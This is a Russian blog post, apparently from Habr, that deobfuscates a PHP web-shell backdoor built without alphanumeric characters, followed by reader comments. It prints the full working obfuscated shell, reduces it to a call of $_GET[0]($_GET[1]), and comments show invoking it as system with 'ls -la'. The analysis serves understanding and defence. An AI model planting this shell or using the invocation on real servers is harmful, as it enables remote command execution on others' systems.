Деобфускация бэкдора без единого буквенно-цифрового символа

    Месяц назад я увидел интересный пост про PHP-шелл без единого буквенно-цифрового символа и сильно захотел понять, что же он делает. Кому интересно — под кат!

    Вот сам зловредный код
    @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
    $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
    $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
    $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
    $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
    $_=$ 
    $_[$__+ $__] ;$_[@-_]($_[@!+_] );
    

    Итак, по строчечкам:
    @$_[]=@!+_; — инициализуем массив $_ (убрав вывод ошибок), при этом мы добавляем в массив элемент, так как массив пустой, то у элемента будет 0 индекс. _ PHP рассматривает как константу, естественно ее не находит, поэтому считает символ _ как string(1) "_". Оператор + делает приведение этой строки к числовому типу (0), далее идет отрицание, приводящее число к булевому типу, и отрицание в итоге дающее нам единственный элемент в массиве:
    array(1) {
    [0]=>
    bool(true)
    }

    Побитовый сдвиг @${_}>>$_ дает нам (int)0.
    Приблизиться к истине это не дает:
    @$arrArray[]=@!+_;
    $var2=0;
    
    $arrArray[]=$var2;
    $arrArray[]=@_;
    $arrArray[((++$var2)+($var2++ ))].=$arrArray;
    $arrArray[]=++$var2; 
    $arrArray[]=$arrArray[--$var2][$var2>>$var2];
    $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
    $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    

    По крайней мере мы можем сократить число строк в исходнике:
    $var2=0;
    $arrArray = array(true, 0, "_");
    $arrArray[((++$var2)+($var2++ ))].=$arrArray;
    
    
    $arrArray[]=++$var2; 
    $arrArray[]=$arrArray[--$var2][$var2>>$var2];
    $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
    $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    


    ((++$var2)+($var2++ )) — это то, что любят на плохих собеседованиях. В итоге получается 2, поэтому $arrArray получится в виде:
    $arrArray = array(true, 0, "_Array");
    При конкатенации строки и массива получилось "_Array" — таковы особенности приведения типов в PHP.
    Добавим еще один элемент в наш массив:
    $arrArray = array(true, 0, "_Array", 3);
    $var2=3;
    
    $arrArray[]=$arrArray[--$var2][$var2>>$var2];
    $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
    $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    


    $arrArray[--$var2][$var2>>$var2] — из второго элемента массива нужно взять первый символ. Получим:
    $arrArray = array(true, 0, "_Array", 3, "_");
    
    $var2=2;
    
    $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2];
    $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    


    Опять приходится лезть в мануал:
    4 + true = 5
    6 + true = 7
    5. 7 = «57»


    Получаем:
    $arrArray = array(true, 0, "_Array57", 3, "_");
    
    $var2=2;
    
    $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    

    Наверное, мы близки к концу. Расшифруем следующую строчку.
    $arrArray[4] =($arrArray[2][0]).($arrArray[2][2]^$arrArray[2][6] );
    Это тоже самое, что и
    $arrArray[4] ="_".(«r»^«5» );

    Избавляемся от еще одной строчки:
    $arrArray = array(true, 0, "_Array57", 3, "_G");
    
    $var2=2;
    
    $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] );
    $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    

    Аналогичным образом для следующей строчки кода:
    $arrArray[4] .=($arrArray[2][7])^($arrArray[2][2] );
    Получаем:
    $arrArray[4] .=«7»^«r»;

    В итоге:
    $arrArray = array(true, 0, "_Array57", 3, "_GE");
    
    $var2=2;
    
    $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ];
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    

    Ну и как многие уже догадались нас ждет после деобфускации еще одной строки кода любимый всеми _GET:
    $arrArray = array(true, 0, "_Array57", 3, "_GET");
    
    $var2=2;
    
    $arrArray=$ 
    $arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    
    


    Честно говоря, на этом моменте я впал в ступор. В строчке $arrArray=$ я искал неразрывный пробел и другой юникод, который может быть именем переменной. Но, конечно же, всё проще чем я думал: интерпретатор игнорирует whitespace и мы получаем уже совершенно понятную вещь:
    $arrArray = array(true, 0, "_Array57", 3, "_GET");
    
    $var2=2;
    
    $arrArray=$$arrArray[$var2+ $var2] ;
    $arrArray[@-_]($arrArray[@!+_] );
    


    Если чуть разжевать, то:
    $arrArray = array(true, 0, "_Array57", 3, "_GET");
    
    $var2=2;
    
    $arrArray=$_GET ;
    $arrArray[@-_]($arrArray[@!+_] );
    


    Собственно весь бэкдор свелся к одной строчке:
    $_GET[0]($_GET[1] );
    

    Теперь мы точно знаем что и как делает этот скрипт, и можем обойтись без расплывчатых объяснений для пользователя, включающих слова «boolean magic».
    Метки:
    Поделиться публикацией
    Похожие публикации
    Реклама помогает поддерживать и развивать наши сервисы

    Подробнее
    Реклама
    Комментарии 28
    • 0
      А ларчик просто открывался :)
      • 0
        Он, вроде, очевидным образом открывался.
      • +5
        По моему

        $_GET[0]($_GET[1] )
        

        получается всё же менее заметен. Или это такая фишка, зашифровать, чтобы не был понятен смысл кода, который всё равно удалят?
        • +1
          Статический анализ может заметить вызов функции из $_GET, что очевидно не безопасно. Обфускация выше это умело скрывает. Хотя, человек взглянув на подобный код, конечно задумается а зачем он тут. Зараза должна прятать себя достаточно глубоко, куда человек не полезет.
        • +2
          Этот эксплойт достоин почетного места в залах славы JAPH или IOCCC. А еще — отлично показывает, почему постепенно набирает популярность использование контрактов.
          • 0
            Спасибо за деобфускацию. Предупрежден — значит вооружен.
            • +5
              Я уже потренировался в написании в таком стиле, вот пример, выводящий «Hello!»: http://bolknote.ru/2013/09/16/~4065.
              • +7
                Кстати, ещё вот забавное про PHP:
                $a = "2d9"; $a++; $a++; echo $a; → 3
                $a = "2d9"; $a+=2; echo $a; → 4
                $a = "2d9"; $a++; echo $a; → 2e0
                • 0
                  Язык с динамической типизацией :)
                  • 0
                    Скорее «с неявным приведением типов».

                    Правда, я не понимаю до конца механизм, кто-нибудь опишет детально?
                    • +1
                      www.php.net/manual/ru/language.operators.increment.php

                      PHP следует соглашениям Perl (в отличие от С) касательно выполнения арифметических операций с символьными переменными. Например, в PHP и Perl $a = 'Z'; $a++; присвоит $a значение 'AA', в то время как в C a = 'Z'; a++; присвоит a значение '[' (ASCII значение 'Z' равно 90, а ASCII значение '[' равно 91). Следует учесть, что к символьным переменным можно применять операцию инкремента, в то время как операцию декремента применять нельзя, кроме того, поддерживаются только ASCII символы (a-z и A-Z). Попытка инкремента/декремента других символьных переменных не будет иметь никакого эффекта, исходная строка останется неизменной.


                      После инкремента получаем 2e0, а это уже не строковый тип, а числовой (http://www.php.net/ru/language.types.float.php)
                      Инкремент числовых переменных уже действует по правилу:
                      $a++ Возвращает значение $a, затем увеличивает $a на единицу.

                      • 0
                        А, тут же еще экспоненциальная запись. Спросоня не заметил, удивился приключениям hex'ов.
                • +1
                  Как то слишком сложно расшифровываете. Проще же можно всегда.
                  • +3
                    Господа минусующие, если вы видите обфусцированный код, не нужно идти в лоб, начать надо с evalhook ( или искать конструкции похожие на eval, их видно на глаз, что то типа $dsdgdg($fsfdsfs) )
                    Если не как в данном примере не используется эта или похожая функция, можно запустить код в отладчике, и посмотреть значение каждой переменной, а не высчитывать все вручную.
                    пример
                    image
                    • +1
                      В данном случае всего 11 строк, но их может быть и 200 и 300.
                      Неоднократно на различных CTF подобный код деобфусцировал в обычном отладчике.
                      • +2
                        Вообще самый сложный и интересный кусок который мне приходилось деобфусцировать выглядел вот так.

                        function b($b) {return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðö̼Š‰ßº‘ìØÚåàÇÐÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ^®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼‰ÕÚÒ¼š´îûšŸÁÕÎÓć°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡ÜΨúÊÚåÒ‡ØÒ®² ö);}
                        • +1
                          А тут точно кодировка правильная? Что-то не сильно похоже на валидный код.
                          • +2
                            Опкод внутри исходника, пока копировал само собой часть байтов потерялась. Да и запустится такое не везде.

                            Вот разбор задания одной из команд, для того чтобы понять, что находится конкретно в этой строке использовался Vulcan Logic Decompiler (php opcode disassembler)
                            codezen.fr/2012/10/19/hackyou-ctf-web-300-rng-of-ultimate-security-writeup/
                            довольно интересный материал.
                    • +1
                      Изначальная концепция (шаманство с преобразованиями) почему-то ассоциируется у меня с названием другого языка программирования — brainfuck :)
                      • 0
                        Автору статьи, браво! И плюс за пытливость и настойчивость :)
                        • 0
                          Следующая задача — написать транслятор нормального кода в такой, чтобы не обфусцировать руками.
                          • 0
                            Прошу прощения за невежество, а что должно получиться при вызове
                            $_GET[0]($_GET[1] );
                            ?
                            • +2
                              example.com/script.php?0=function&1=argument

                              что-то вроде этого, я считаю

                              т. е. в первом аргументе передаём имя функции, во втором аргумент(ы), который(е) будет(ут) ей передан(ы).

                              а $_GET[0]($_GET[1] ); превращается в:

                              function( argument);
                              • По идее тогда:
                                example.com/script.php?0=system&1=ls -la
                                Будет:
                                system(«ls -la»)

                                Поправьте, если что.
                                • +1
                                  именно так

                                  Хотя тут уместнее будет использовать eval, и аргументом ему можно передать что угодно.
                                • –1
                                  Сработало! Спасибо, не знал, что в php и так можно функции вызывать
                              • 0
                                Сколько времени потратил на решение?
                                • 0
                                  На самом деле недолго. Почти месяц искал свободное время, а в итоге около полутора часов.

                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.